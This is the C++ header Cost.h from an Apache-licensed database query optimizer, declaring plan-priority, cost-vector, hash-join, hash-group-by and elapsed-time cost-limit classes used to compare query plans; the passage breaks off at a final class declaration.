/********************************************************************** // @@@ START COPYRIGHT @@@ // // Licensed to the Apache Software Foundation (ASF) under one // or more contributor license agreements. See the NOTICE file // distributed with this work for additional information // regarding copyright ownership. The ASF licenses this file // to you under the Apache License, Version 2.0 (the // "License"); you may not use this file except in compliance // with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, // software distributed under the License is distributed on an // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the License for the // specific language governing permissions and limitations // under the License. // // @@@ END COPYRIGHT @@@ **********************************************************************/ #ifndef COST_HDR #define COST_HDR /* -*-C++-*- ************************************************************************** * * File: Cost.h * Description: Cost * Created: 11/12/96 * Language: C++ * * Last Modified: May 2001 * Purpose: Simple Cost Vector Reduction * * * ************************************************************************** */ // ----------------------------------------------------------------------- #include "NADefaults.h" #include "BaseTypes.h" #include "NAType.h" #include "ValueDesc.h" #include "PhyProp.h" #include "PhyProp.h" #include "CostScalar.h" #include "CostVector.h" #include "DefaultConstants.h" #include "opt.h" // ----------------------------------------------------------------------- // Forward references. // ----------------------------------------------------------------------- class NAType; class ValueId; class ValueIdSet; class ValueIdList; class ItemExpr; // ----------------------------------------------------------------------- // The following classes are defined in this file. // ----------------------------------------------------------------------- class Cost; class HashJoinCost; class HashGroupByCost; class CostWeight; class ResourceConsumptionWeight; class CostLimit; class ElapsedTimeCostLimit; class ScmElapsedTimeCostLimit; class CostPrimitives; class PerformanceGoal; const Lng32 NORMAL_PLAN_PRIORITY = 0; // must remain zero const Lng32 INDEX_HINT_PRIORITY = 100; const Lng32 JOIN_IMPLEMENTATION_HINT_PRIORITY = 100; const Lng32 GROUPBY_IMPLEMENTATION_HINT_PRIORITY = 100; const Lng32 INTERACTIVE_ACCESS_PRIORITY = 1; const Lng32 INTERACTIVE_ACCESS_MDAM_PRIORITY = 1; const Lng32 BLOCKING_OPS_FIRST_N_PRIORITY = -1; const Lng32 HASH_JOIN_FIRST_N_PRIORITY = BLOCKING_OPS_FIRST_N_PRIORITY; const Lng32 HASH_GROUP_BY_FIRST_N_PRIORITY = BLOCKING_OPS_FIRST_N_PRIORITY; const Lng32 SORT_FIRST_N_PRIORITY = BLOCKING_OPS_FIRST_N_PRIORITY; const Lng32 MATERIALIZE_FIRST_N_PRIORITY = BLOCKING_OPS_FIRST_N_PRIORITY; const Lng32 MVQR_FAVORITE_PRIORITY = INTERACTIVE_ACCESS_PRIORITY; class PlanPriority { public: // ----------------------------------------------------------------------- // constructors (no need for a destructor, it's just a long-wrapper) xxx // ----------------------------------------------------------------------- PlanPriority() : level_(0), demotionLevel_(0), riskPremium_(1.0) {} PlanPriority(const Lng32 val, const Lng32 demotion, CostScalar premium=1.0) : level_(val), //xxx make def value demotionLevel_(demotion), //xxx make def value riskPremium_(premium) {} // Copy constructor. PlanPriority(const PlanPriority &other) : level_(other.level_), demotionLevel_(other.demotionLevel_), riskPremium_(other.riskPremium_) {} // ---------------------------------------------------------------------- // overloaded operators // ---------------------------------------------------------------------- // assignment inline PlanPriority & operator = (const PlanPriority &other) { level_ = other.level_ ; demotionLevel_ = other.demotionLevel_; riskPremium_ = other.riskPremium_; return *this; } // ---------------------------------------------------------------------- // PlanPriority arithmetic // ---------------------------------------------------------------------- // op + inline PlanPriority operator + (const PlanPriority &other) const { PlanPriority result(level_ + other.level_, demotionLevel_ + other.demotionLevel_); return result; } // op += inline PlanPriority & operator += (const PlanPriority &other) { level_ = level_ + other.level_ ; demotionLevel_ = demotionLevel_ + other.demotionLevel_ ; return *this ; } // op - inline PlanPriority operator - (const PlanPriority &other) const { PlanPriority result(level_ - other.level_, demotionLevel_ - other.demotionLevel_); return result; } // ---------------------------------------------------------------------- // comparison of PlanPriority objects // ---------------------------------------------------------------------- // op == inline NABoolean operator == (const PlanPriority &other) const { return ((level_ == other.level_) && (demotionLevel_ == other.demotionLevel_)) ; } // op != inline NABoolean operator != (const PlanPriority &other) const { return NOT ( *this == other ) ; } // op < inline NABoolean operator < (const PlanPriority &other) const { if (level_ == other.level_) return (demotionLevel_ < other.demotionLevel_); else return ( level_ < other.level_ ) ; } // op <= inline NABoolean operator <= (const PlanPriority &other) const { if (level_ == other.level_) return (demotionLevel_ <= other.demotionLevel_); else return ( level_ < other.level_ ) ; } // op > inline NABoolean operator > (const PlanPriority &other) const { if (level_ == other.level_) return (demotionLevel_ > other.demotionLevel_); else return ( level_ > other.level_ ) ; } // op >= inline NABoolean operator >= (const PlanPriority &other) const { if (level_ == other.level_) return (demotionLevel_ >= other.demotionLevel_); else return ( level_ > other.level_ ) ; } inline NABoolean isNormal () const { return ((level_ == NORMAL_PLAN_PRIORITY) AND demotionLevel_ == NORMAL_PLAN_PRIORITY); } // Reset to normal priority levels inline void resetToNormal() { level_ = NORMAL_PLAN_PRIORITY; demotionLevel_ = NORMAL_PLAN_PRIORITY; } // Rollup is simple now. Add priority level inline void rollUpUnary(const PlanPriority &childPriority) { level_ += childPriority.level_; demotionLevel_ += childPriority.demotionLevel_; // a way of rolling up risk premiums without intruding into cost details if (CmpCommon::getDefault(COMP_BOOL_178) == DF_OFF) riskPremium_ *= childPriority.riskPremium_; } inline void rollUpBinary(const PlanPriority &childPriority0, const PlanPriority &childPriority1) { level_ += childPriority0.level_ + childPriority1.level_; demotionLevel_ += childPriority0.demotionLevel_ + childPriority1.demotionLevel_; } // Combine siblings is simple now. Add priority level inline void combine(const PlanPriority &childPriority) { level_ += childPriority.level_; demotionLevel_ += childPriority.demotionLevel_; } // Increment the priority level by a certain value inline void incrementLevels(Lng32 val, Lng32 dem) { level_ += val; demotionLevel_ += dem; } // Avoid using this method as much as possible except for display purposes inline Lng32 getLevel() const { return level_ ; } // Avoid using this method as much as possible except for display purposes // With current exception of using it in cost based pruning inline Lng32 getDemotionLevel() const { return demotionLevel_ ; } // risk premium accessor CostScalar riskPremium() const { return riskPremium_; } private: Lng32 level_; Lng32 demotionLevel_; // monotonically decreasing level // xxx for now level_ override demotionLevel_. Later on we will orthoganalize this CostScalar riskPremium_; // multiplicative factor used to inflate cost of risky operator. // = 1.0 for non-risky (ie, robust) operator. // > 1.0 for risky operator like nested join. }; // class PlanPriority //<pb> // ----------------------------------------------------------------------- // // The Cost object expresses the resource consumption characteristics of // an operation. It is a vehicle created by the costing routines to carry // information on the resource usage of an operation to Cascades. // // ----------------------------------------------------------------------- class Cost : public NABasicObject { public: // --------------------------------------------------------------------- // Constructors. // --------------------------------------------------------------------- // --------------------------------------------------------------------- // This constructor is typically used by an operator to store its local // processing costs. // // The simple cost vectors supplied as arguments should represent the // resource usage of an instance of the operator in one plan fragment // on one CPU. planFragmentsPerCPU is the total no of instances of the // operator that is executing on one CPU. countOfCPUs is the total no // of CPUs available for all plan fragments to execute on. // 10-16-2006: In order to integrate SCM, we are adding another member // to Cost class. // --------------------------------------------------------------------- Cost(const SimpleCostVector* currentProcessFirstRowCost, const SimpleCostVector* currentProcessLastRowCost, const SimpleCostVector* currentProcessBlockingCost, const Lng32 countOfCPUs, const Lng32 planFragmentsPerCPU); //----------------------------------------------------------- // Constructor for SCM. //----------------------------------------------------------- Cost(const SimpleCostVector* currentProcessScmCost); //----------------------------------------------------------- // Cost Constructor used in SCM code. //----------------------------------------------------------- Cost(const SimpleCostVector* currentProcessScmCost, const SimpleCostVector* currentOpDebugInfo); //----------------------------------------------------------- // Constructor for an empty Cost object. Used primarily for // initializing a resulting Cost object during a roll-up. //----------------------------------------------------------- Cost() : cpfr_(), cplr_(), cpScmlr_(), cpScmDbg_(), cpbc1_(), cpbcTotal_(), //jopfr_(), //joplr_(), totalCost_(), countOfCPUs_(1), planFragmentsPerCPU_(1), priority_() {} //---------------------------------------------------------------------- // Copy constructor. //---------------------------------------------------------------------- Cost(const Cost &other) : cpfr_(other.cpfr_), cplr_(other.cplr_), cpScmlr_(other.cpScmlr_), cpScmDbg_(other.cpScmDbg_), cpbc1_(other.cpbc1_), cpbcTotal_(other.cpbcTotal_), //jopfr_(other.opfr_), //joplr_(other.oplr_), totalCost_(other.totalCost_), countOfCPUs_(other.countOfCPUs_), planFragmentsPerCPU_(other.planFragmentsPerCPU_), priority_(other.priority_) {} //-------------------------------- // Effective virtual constructor. //-------------------------------- virtual Cost* duplicate(); // --------------------------------------------------------------------- // Virtual destructor function. // --------------------------------------------------------------------- virtual ~Cost (); // --------------------------------------------------------------------- // Accessor methods. // --------------------------------------------------------------------- inline const SimpleCostVector& getCpfr() const { return cpfr_; } inline const SimpleCostVector& getCplr() const { return cplr_; } inline const SimpleCostVector& getScmCplr() const { return cpScmlr_; } inline const SimpleCostVector& getScmDbg() const { return cpScmDbg_; } inline const SimpleCostVector& getCpbcTotal() const { return cpbcTotal_; } inline const SimpleCostVector& getCpbc1() const { return cpbc1_; } //jo inline const SimpleCostVector& getOpfr() const { return opfr_; } //jo inline const SimpleCostVector& getOplr() const { return oplr_; } inline const SimpleCostVector& getTotalCost() const { return totalCost_; } inline Lng32 getCountOfCPUs() const {return countOfCPUs_;} inline Lng32 getPlanFragmentsPerCPU() const {return planFragmentsPerCPU_;} inline const PlanPriority& getPlanPriority() const {return priority_;} // --------------------------------------------------------------------- // Mutator methods. // // The following methods provide an interface (mainly for clients who // combine cost object in an operator-specific manner) to retrieve // handles (through which the vectors may be modified) to the various // cost vectors stored in the object. // // Handles retrieved by these methods should be used with care since // any changes made to the vector of the handle are directly propagated // to the corresponding vector stored in the Cost object itself. // --------------------------------------------------------------------- inline SimpleCostVector& cpfr() { return cpfr_; } inline SimpleCostVector& cplr() { return cplr_; } inline SimpleCostVector& cpScmlr() { return cpScmlr_; } inline SimpleCostVector& cpScmDbg() { return cpScmDbg_; } inline SimpleCostVector& cpbcTotal() { return cpbcTotal_; } inline SimpleCostVector& cpbc1() { return cpbc1_; } //jo inline SimpleCostVector& opfr() { return opfr_; } //jo inline SimpleCostVector& oplr() { return oplr_; } inline SimpleCostVector& totalCost() { return totalCost_; } inline Lng32& countOfCPUs() {return countOfCPUs_; } inline Lng32& planFragmentsPerCPU() {return planFragmentsPerCPU_; } inline PlanPriority& planPriority() { return priority_; } // --------------------------------------------------------------------- // Method for accessing a cost vector as a function of the given // performance goal. // --------------------------------------------------------------------- const SimpleCostVector& getCostVector (const PerformanceGoal* const perfGoal) const; // --------------------------------------------------------------------- // Comparison function, mandated by Cascades. // --------------------------------------------------------------------- COMPARE_RESULT compareCosts (const Cost & other, const ReqdPhysicalProperty* const rpp = NULL) const; // --------------------------------------------------------------------- // Method for representing the cost in terms of an elapsed time. // --------------------------------------------------------------------- ElapsedTime convertToElapsedTime (const ReqdPhysicalProperty* const rpp = NULL) const; // This method is to be used only for displaying total cost information // in the context of explain, visual debugger, etc. This is NOT to be used // for computing and/or comparing plan cost information. In the context of NCM, // internal costs used during plan computation use very different units than // the total cost displayed externally to the user, and so these cannot be // used interchangably. ElapsedTime displayTotalCost (const ReqdPhysicalProperty* const rpp = NULL) const; // --------------------------------------------------------------------- // Method for returning the detailed cost components as a descriptive string // --------------------------------------------------------------------- const NAString getDetailDesc() const; // ----------------------------------------------------------------------- // This method returns cost information to WMS (and possibly other callers). // ----------------------------------------------------------------------- void getExternalCostAttr(double &cpuTime, double &ioTime, double &msgTime, double &idleTime, double &numSeqIOs, double &numRandIOs, double &totalTime, Lng32 &probes) const; // --------------------------------------------------------------------- // Method for returning OCM cost atrributes. // --------------------------------------------------------------------- void getOcmCostAttr(double &cpu, double &io, double &msg, double &idleTime, Lng32 &probes) const; // --------------------------------------------------------------------- // Method for returning NCM cost atrributes. // --------------------------------------------------------------------- void getScmCostAttr(double &tcProc, double &tcProd, double &tcSent, double &ioRand, double &ioSeq, Lng32 &probes) const; // --------------------------------------------------------------------- // Method for returning NCM debug information. // --------------------------------------------------------------------- void getScmDebugAttr(double &dbg1, double &dbg2, double &dbg3, double &dbg4) const; // --------------------------------------------------------------------- // Comparison function for SCM, mandated by Cascades. // --------------------------------------------------------------------- COMPARE_RESULT scmCompareCosts (const Cost & other, const ReqdPhysicalProperty* const rpp = NULL) const; // --------------------------------------------------------------------- // Method to compute the total cost represented by the // cpScmlr SimpleCostVector of "this" Cost object. // --------------------------------------------------------------------- CostScalar scmComputeTotalCost (const ReqdPhysicalProperty* const rpp = NULL) const; // --------------------------------------------------------------------- // Method for converting a cost to cost limit. // --------------------------------------------------------------------- CostLimit* convertToCostLimit (const ReqdPhysicalProperty* const rpp = NULL) const; // --------------------------------------------------------------------- // Overloaded addition for Cost. // --------------------------------------------------------------------- Cost& operator +=(const Cost & other); void mergeOtherChildCost(const Cost& otherChildCost); // --------------------------------------------------------------------- // Default implementations of plan priority computation // --------------------------------------------------------------------- // For use with leaf operators PlanPriority computePlanPriority( RelExpr* op, const Context* myContext); // For use with unary operators PlanPriority computePlanPriority( RelExpr* op, const Context* myContext, const Cost* childCost); // For use with binary operators PlanPriority computePlanPriority( RelExpr* op, const Context* myContext, const Cost* child0Cost, const Cost* child1Cost, PlanWorkSpace *pws=NULL, Lng32 planNumber=0); // --------------------------------------------------------------------- // Functions for debugging. // --------------------------------------------------------------------- void print(FILE * f = stdout, const char * prefix = "", const char * suffix = "") const; void display() const { print(); } //<pb> private: // --------------------------------------------------------------------- // PRIVATE DATA. // --------------------------------------------------------------------- //---------------------------------------------------------------------- // cpfr_: Current Process First Row Cost. // // This vector reflects the resource usage necessary for the current // operator in the expression tree to produce its first row. // // Note that this is slightly inaccurate because DP2 will typically // return a buffer full of rows in response to its first request because // of Virtual Sequential Block Buffering (VSBB) but for all practical // purposes we can still view this resource usage vector as pertaining // to only the first row. // // Note also that for repeat counts greater than one, this vector // represents the average usage per probe. //---------------------------------------------------------------------- SimpleCostVector cpfr_; //---------------------------------------------------------------------- // cplr_: Current Process Last Row Cost. // // This vector reflects the resource usage necessary for the current // operator in the expression tree to produce its last row. // // Note that in the case of a nested loops join we really do mean the // very last row (i.e. the last row of the last probe). Thus, for // repeat counts greater than one, this vector represents the total usage // for all probes whereas in CPFR above and CPTB and CPBlocking below // represent average usage for one of the probes. //---------------------------------------------------------------------- SimpleCostVector cplr_; //---------------------------------------------------------------------- // cpScmlr_: Current Process Simple Cost Model's Last Row Cost. // // This vector reflects the resource usage necessary for the current // operator in the expression tree to produce its last row. // This vector contains tuples processed, produced, and sent by an operator // in addition to IOs if any. //---------------------------------------------------------------------- SimpleCostVector cpScmlr_; //---------------------------------------------------------------------- // cpScmDbg_: Extra member for Simple Cost Model Debugging // Used only for debugging internally by developers. //---------------------------------------------------------------------- SimpleCostVector cpScmDbg_; //---------------------------------------------------------------------- // cpbcTotal_: Current Process Total Blocking Cost. // // An operator in an expression tree is called a "blocking" operator if // it must wait for all its children operators to fully complete before // it can produce its first row. Examples include sort and // sort-group-by. This vector reflects all resources used by // descendants of the current operator executing within the current // operatorís process while the current operator was blocked. If // neither the current operator nor any of its descendants is a blocking // operator, this vector will be all zeros. // // Note that for repeat counts greater than one, this vector represents // the average usage per probe. //---------------------------------------------------------------------- SimpleCostVector cpbcTotal_; //---------------------------------------------------------------------- // cpbc1_: Current Process Blocking Cost for first blocking operator. // // Consider an operator which may or may not be blocking but which has // at least one descendant which executes within this operatorís process // and which is blocking. Choose the lowest such descendant. The // cpbcTotal_ vector for that operator becomes cpbc1_ for all of its // ancestors. // // Note that multiple children for an operator will complicate the // calculation of both CPBlocking and CPTB above. We deal with this by // combining both children to look like one child. // // Note also that for repeat counts greater than one, this vector // represents the average usage per probe. // //---------------------------------------------------------------------- SimpleCostVector cpbc1_; // ********************************************************************** // Currently opfr_ and oplr_ are not used. When CPU maps become // available and we can determine in which CPU an operator is executing, // we can then make use of these vectors in cost accumulation (roll-up) // formulas. // // The descriptions below, therefore, describe intended usage not // yet fully implemented. // ********************************************************************** //---------------------------------------------------------------------- // oplr_: Overlapped Process First Row Cost. // // Analogous to _cpfr except it represents the resource usage for child // operators executing in a different CPU. During the time the child // operators use these resources, the current operator can not proceed // (i.e. is idle) because it will not have received any rows from its // children. // // Note that for repeat counts greater than one, this vector represents // the average usage per probe. // --------------------------------------------------------------------- //jo SimpleCostVector opfr_; //---------------------------------------------------------------------- // oplr_: Overlapped Process Last Row Cost. // // Analogous to _cplr except it represents the resource usage for child // operators executing in a different CPU. // // Note that for repeat counts greater than one, this vector represents // the total usage for all probes. //---------------------------------------------------------------------- //jo SimpleCostVector oplr_; //---------------------------------------------------------------------- // totalCost_: the total cost for performing an operation. // // A vector of resource usage describing all resources necessary for // the current operator and all its descendants to execute. Query // parallelism has no effect on totalCost_ as it does on cplr_. For the // totalCost_ vector, all parallel activity is accounted for as if it // actually occurred serially. // // Note that for repeat counts greater than one, this vector represents // the total usage for all probes. // //---------------------------------------------------------------------- SimpleCostVector totalCost_; // --------------------------------------------------------------------- // Number of CPUs used by this operator // --------------------------------------------------------------------- Lng32 countOfCPUs_; // --------------------------------------------------------------------- // Number of plan fragments that compete for the same CPU // --------------------------------------------------------------------- Lng32 planFragmentsPerCPU_; // --------------------------------------------------------------------- // The plan priority is used for implementation of preferred plans such // as plans generated for optimizer hints, interactive access, and future // optimizer heuristics. // Plans that have similar priority are compared as usual. Plans with // different priorities are judged in favor of the plan with the higher // priority regardless of the cost vector values. // --------------------------------------------------------------------- PlanPriority priority_; }; // class Cost //--------------------------------------------------------------- // Needed for passing pointers to costs as reference parameters. //--------------------------------------------------------------- typedef Cost* CostPtr; //<pb> //------------------------------------------------------------------------ // A HashJoinCost object contains intermediate resource usage vectors and // variables computed during hash join preliminary costing which final // roll-up costing will also use. //------------------------------------------------------------------------ class HashJoinCost : public Cost { public: //--------------- // Constructors. //--------------- HashJoinCost(const SimpleCostVector* currentProcessFirstRowCost, const SimpleCostVector* currentProcessLastRowCost, const SimpleCostVector* currentProcessBlockingCost, const Lng32 countOfCPUs, const Lng32 planFragmentsPerCPU, const CostScalar & stage2WorkFractionForFR_, const CostScalar & stage3WorkFractionForFR_, const SimpleCostVector* stage2Cost, const SimpleCostVector* stage3Cost, const SimpleCostVector* stage1BkCost, const SimpleCostVector* stage2BkCost, const SimpleCostVector* stage3BkCost); //----------------------------------------------- // Constructor for an empty HashJoinCost object. //----------------------------------------------- HashJoinCost() : Cost(), stage2WorkFractionForFR_( csOne ), stage3WorkFractionForFR_( csZero ), stage2Cost_(), stage3Cost_(), stage1BkCost_(), stage2BkCost_(), stage3BkCost_() {} //------------------- // Copy constructor. //------------------- HashJoinCost(const HashJoinCost &other) : Cost(other), stage2WorkFractionForFR_(other.stage2WorkFractionForFR_), stage3WorkFractionForFR_(other.stage3WorkFractionForFR_), stage2Cost_(other.stage2Cost_), stage3Cost_(other.stage3Cost_), stage1BkCost_(other.stage1BkCost_), stage2BkCost_(other.stage2BkCost_), stage3BkCost_(other.stage3BkCost_) {} //-------------------------------- // Effective virtual constructor. //-------------------------------- virtual Cost* duplicate(); //------------- // Destructor. //------------- ~HashJoinCost(); //--------------------- // Accessor Functions. //--------------------- inline const SimpleCostVector& getStage2Cost() const { return stage2Cost_; } inline const SimpleCostVector& getStage3Cost() const { return stage3Cost_; } inline const SimpleCostVector& getStage1BKCost() const {return stage1BkCost_;} inline const SimpleCostVector& getStage2BKCost() const {return stage2BkCost_;} inline const SimpleCostVector& getStage3BKCost() const {return stage3BkCost_;} inline const CostScalar& getStage2WorkFractionForFR() const { return stage2WorkFractionForFR_; } inline const CostScalar& getStage3WorkFractionForFR() const { return stage3WorkFractionForFR_; } private: // ------------- // PRIVATE DATA. // ------------- //--------------------------------------------------------------------------- // Fraction of stage 2 work necessary to produce this hash join's first row. // The value must be greater than zero and less than or equal to 1. Further, // the value must be greater than or equal to stage3WorkFractionForFR_ // below. //--------------------------------------------------------------------------- CostScalar stage2WorkFractionForFR_; //--------------------------------------------------------------------------- // Fraction of stage 3 work necessary to produce this hash join's first row. // The value must be greater than or equal to zero and less than or equal to // 1. Further, the value must be less than or equal to // stage2WorkFractionForFR_ above. //--------------------------------------------------------------------------- CostScalar stage3WorkFractionForFR_; //---------------------------------------------------------------------------- // This vector represents resource usage for stage 2 of a hash join. Stage 2 // involves taking rows produced by the left child (outer table), computing a // hash function for each row, probing the hash table built in stage 1 when // the row hashes to a main memory cluster or writing the row to disk when it // hashes to an overflow cluster. // // Note that for repeat counts greater than one, this vector represents // the cumulative usage for all probes. //---------------------------------------------------------------------------- SimpleCostVector stage2Cost_; //---------------------------------------------------------------------------- // This vector represents resource usage for stage 3 of a hash join. Stage 3 // involves joining the rows overflowed to disk in stage 1 and stage 2. // // Note that for repeat counts greater than one, this vector represents // the cumulative usage for all probes. //---------------------------------------------------------------------------- SimpleCostVector stage3Cost_; SimpleCostVector stage1BkCost_; SimpleCostVector stage2BkCost_; SimpleCostVector stage3BkCost_; }; // class HashJoinCost //<pb> //------------------------------------------------------------------------------ // A HashGroupByCost object contains the grouping factor for this Hash GroupBy // operator--i.e. the percentage of groups which fit in memory. Final roll-up // costing uses this number for determining what percentage of last row activity // below the Hash GroupBy operator becomes blocking activity as part of the // roll-up //------------------------------------------------------------------------------ class HashGroupByCost : public Cost { public: //--------------- // Constructors. //--------------- HashGroupByCost(const SimpleCostVector* currentProcessFirstRowCost, const SimpleCostVector* currentProcessLastRowCost, const SimpleCostVector* currentProcessBlockingCost, const Lng32 countOfCPUs, const Lng32 planFragmentsPerCPU, const CostScalar & groupingFactor); //-------------------------------------------------- // Constructor for an empty HashGroupByCost object. //-------------------------------------------------- HashGroupByCost() : Cost(), groupingFactor_( csOne ) {} //------------------- // Copy constructor. //------------------- HashGroupByCost(const HashGroupByCost &other) : Cost(other), groupingFactor_(other.groupingFactor_) {} //-------------------------------- // Effective virtual constructor. //-------------------------------- virtual Cost* duplicate(); //------------- // Destructor. //------------- ~HashGroupByCost(); //--------------------- // Accessor Functions. //--------------------- inline CostScalar getGroupingFactor() const { return groupingFactor_; } private: // ------------- // PRIVATE DATA. // ------------- //-------------------------------------------------------------------- // Percentage of groups which fit in memory. Must be between 0 and 1 // inclusive. //-------------------------------------------------------------------- CostScalar groupingFactor_; }; //<pb> // ----------------------------------------------------------------------- // Specify how to weigh (and therefore, to compare) cost objects // --- abstract base class --- // ----------------------------------------------------------------------- class CostWeight : public NABasicObject { public: // warning elimination (removed "inline") virtual ~CostWeight() {} // --------------------------------------------------------------------- // Type-safe pointer casts used for run-time type identification. // --------------------------------------------------------------------- virtual ResourceConsumptionWeight* castToResourceConsumptionWeight() const; // --------------------------------------------------------------------- // Virtual method that returns the number of elements in the CostWeight. // --------------------------------------------------------------------- virtual Lng32 entries() const = 0; // --------------------------------------------------------------------- // Virtual method for converting a CostVector to a floating point value. // --------------------------------------------------------------------- virtual double convertToFloatingPointValue(const CostVector& cv) const = 0; // --------------------------------------------------------------------- // Virtual method for converting a CostVector to an elapsed time. // --------------------------------------------------------------------- virtual ElapsedTime convertToElapsedTime(const CostVector& cv) const = 0; // --------------------------------------------------------------------- // Virtual method for converting a CostVector to a CostLimit. // --------------------------------------------------------------------- virtual CostLimit* convertToCostLimit(const CostVector& cv) const = 0; // --------------------------------------------------------------------- // Virtual method for comapring two cost vectors. // --------------------------------------------------------------------- virtual COMPARE_RESULT compareCostVectors(const CostVector& cv1, const CostVector& cv2) const = 0; }; // class CostWeight //<pb> // ----------------------------------------------------------------------- // use weighing factors to determine the scalar cost // ----------------------------------------------------------------------- class ResourceConsumptionWeight : public CostWeight { public: ResourceConsumptionWeight( const CostScalar & cpuWeight = csZero, const CostScalar & IOWeight = csZero, const CostScalar & MSGWeight = csZero, const CostScalar & IdleTimeWeight = csZero, const CostScalar & numProbesWeight = csZero ); // --------------------------------------------------------------------- // Type-safe pointer casts used for run-time type identification. // --------------------------------------------------------------------- virtual ResourceConsumptionWeight* castToResourceConsumptionWeight() const; // --------------------------------------------------------------------- // Virtual method that returns the number of elements in the CostWeight. // --------------------------------------------------------------------- virtual Lng32 entries() const; // --------------------------------------------------------------------- // Virtual method for converting a CostVector to a floating point value. // --------------------------------------------------------------------- virtual double convertToFloatingPointValue(const CostVector& cv) const; // --------------------------------------------------------------------- // Convert the given CostVector to an elapsed time provided it // has the same number of entries() as this CostWeight. // --------------------------------------------------------------------- virtual ElapsedTime convertToElapsedTime(const CostVector& scv) const; // --------------------------------------------------------------------- // Virtual method for converting a Cost to a CostLimit. // --------------------------------------------------------------------- virtual CostLimit* convertToCostLimit(const CostVector& cv) const; // --------------------------------------------------------------------- // Virtual method for comparing two cost vectors. // --------------------------------------------------------------------- virtual COMPARE_RESULT compareCostVectors(const CostVector& cv1, const CostVector& cv2) const; // A method that provides access to a specific entry. CostScalar operator[] (Lng32 ix) const; private: CostScalar weighFactors_[COUNT_OF_SIMPLE_COST_COUNTERS]; }; // class ResourceConsumptionWeight //<pb> // ----------------------------------------------------------------------- // Specify a cost limit // --- abstract base class --- // ----------------------------------------------------------------------- class CostLimit : public NABasicObject { public: virtual ~CostLimit() {} // --------------------------------------------------------------------- // Virtual copy constructor. // --------------------------------------------------------------------- virtual CostLimit* copy() const = 0; // --------------------------------------------------------------------- // Type-safe pointer casts used for run-time type identification. // --------------------------------------------------------------------- virtual ElapsedTimeCostLimit* castToElapsedTimeCostLimit() const; // --------------------------------------------------------------------- // Get a double precision value for the limit. // --------------------------------------------------------------------- virtual double getValue(const ReqdPhysicalProperty* const rpp) const = 0; virtual double getCachedValue () = 0; virtual void setCachedValue (double val) = 0; // --------------------------------------------------------------------- // Comparison function for costs and cost limits. // --------------------------------------------------------------------- virtual COMPARE_RESULT compareCostLimits (CostLimit* other, const ReqdPhysicalProperty* const rpp = NULL) = 0; virtual COMPARE_RESULT compareWithCost (const Cost & other, const ReqdPhysicalProperty* const rpp = NULL) = 0; virtual COMPARE_RESULT compareWithPlanCost (CascadesPlan* plan, const ReqdPhysicalProperty* const rpp = NULL) = 0; virtual void ancestorAccum(const Cost& otherCost, const ReqdPhysicalProperty* const rpp = NULL) = 0; virtual void otherKinAccum(const Cost& otherCost) = 0; virtual void tryToReduce(const Cost& otherCost, const ReqdPhysicalProperty* const rpp = NULL) = 0; virtual void unilaterallyReduce(const ElapsedTime & timeReduction) = 0; virtual const PlanPriority& priorityLimit() const = 0; virtual void setUpperLimit(ElapsedTime ul) = 0; private: }; // class CostLimit //<pb> //------------------------------------------------------------------------------ // class ElapsedTimeCostLimit // // An elapsed time cost limit consists of three components: an initial // elapsed time and two pointers to accumulated cost objects. // // The initial elapsed time represents the upper limit for the cumulative // elapsed time of all physical operators in the final query tree. // // One accumulated cost object represents the resource usage of all // operators on the path from the root to the current operator. We call // this ancestor cost. // // The second cost object represents resource usage for all known siblings, // cousins, uncles, etc of the current operator. We call this other kin cost. // // To find the remaining elapsed time available for descendant operators of the // current operator, we first roll up the other kin cost with the ancestor cost // and calculate the resulting cost's elapsed time. We then subtract this // resulting elapsed time from the upper limit. // // We accumulate costs at each level of the query tree, and we potentially // reduce the upper limit with the discovery of better plans. // // We can also reduce the upper limit unilaterally for some operators with // known child costs. //------------------------------------------------------------------------------ class ElapsedTimeCostLimit : public CostLimit { public: //-------------- // Constructors //-------------- ElapsedTimeCostLimit(const ElapsedTime& limit, const PlanPriority& priorityLimit, const Cost* ancestorCost, const Cost* otherKinCost) : upperLimit_(limit),cachedValue_(0.0),priorityLimit_(priorityLimit) { CMPASSERT( ancestorCost != NULL && otherKinCost != NULL && ancestorCost != otherKinCost); ancestorCost_ = new STMTHEAP Cost(*ancestorCost); otherKinCost_ = new STMTHEAP Cost(*otherKinCost); } ElapsedTimeCostLimit(const ElapsedTimeCostLimit& other) : upperLimit_(other.upperLimit_), priorityLimit_(other.priorityLimit_), ancestorCost_(new(CmpCommon::statementHeap()) Cost(*other.ancestorCost_)), otherKinCost_(new(CmpCommon::statementHeap()) Cost(*other.otherKinCost_)), cachedValue_(other.cachedValue_) {}; //------------ // Destructor //------------ virtual ~ElapsedTimeCostLimit() { delete ancestorCost_; delete otherKinCost_; } virtual CostLimit* copy() const { return new(CmpCommon::statementHeap()) ElapsedTimeCostLimit(*this); } virtual double getValue(const ReqdPhysicalProperty* const rpp) const; double getCachedValue (){ return cachedValue_; } void setCachedValue (double val) { cachedValue_ = val; } virtual COMPARE_RESULT compareCostLimits (CostLimit* other, const ReqdPhysicalProperty* const rpp = NULL); virtual COMPARE_RESULT compareWithCost (const Cost & other, const ReqdPhysicalProperty* const rpp = NULL); virtual COMPARE_RESULT compareWithPlanCost (CascadesPlan* plan, const ReqdPhysicalProperty* const rpp = NULL); virtual void ancestorAccum(const Cost& otherCost, const ReqdPhysicalProperty* const rpp = NULL); virtual void otherKinAccum(const Cost& otherCost); virtual void tryToReduce(const Cost& otherCost, const ReqdPhysicalProperty* const rpp = NULL); virtual void unilaterallyReduce(const ElapsedTime & timeReduction); // --------------------------------------------------------------------- // Type-safe pointer casts used for run-time type identification. // --------------------------------------------------------------------- virtual ElapsedTimeCostLimit* castToElapsedTimeCostLimit() const; virtual const PlanPriority& priorityLimit() const {return priorityLimit_;} void setUpperLimit(ElapsedTime ul) { upperLimit_ = ul; } private: //-------------------------------------------------------------------- // Upper limit for elapsed time of all operators in final query tree. //-------------------------------------------------------------------- ElapsedTime upperLimit_; //-------------------------------------------------------------------- // Upper limit for plan priority of all operators in final query tree. //-------------------------------------------------------------------- PlanPriority priorityLimit_; //-------------------------------------------------------------------------- // Accumulated cost of all operators on path from root to current operator. //-------------------------------------------------------------------------- Cost* ancestorCost_; //------------------------------------------------------------- // Accumulated cost of all known siblings, cousins and uncles. //------------------------------------------------------------- Cost* otherKinCost_; // This is cached value of getValue() method for this costLimit. // It is used to cpeed up compare operations. double cachedValue_; }; // class ElapsedTimeCostLimit //<pb> // ------------------------------------------------------------------- // class 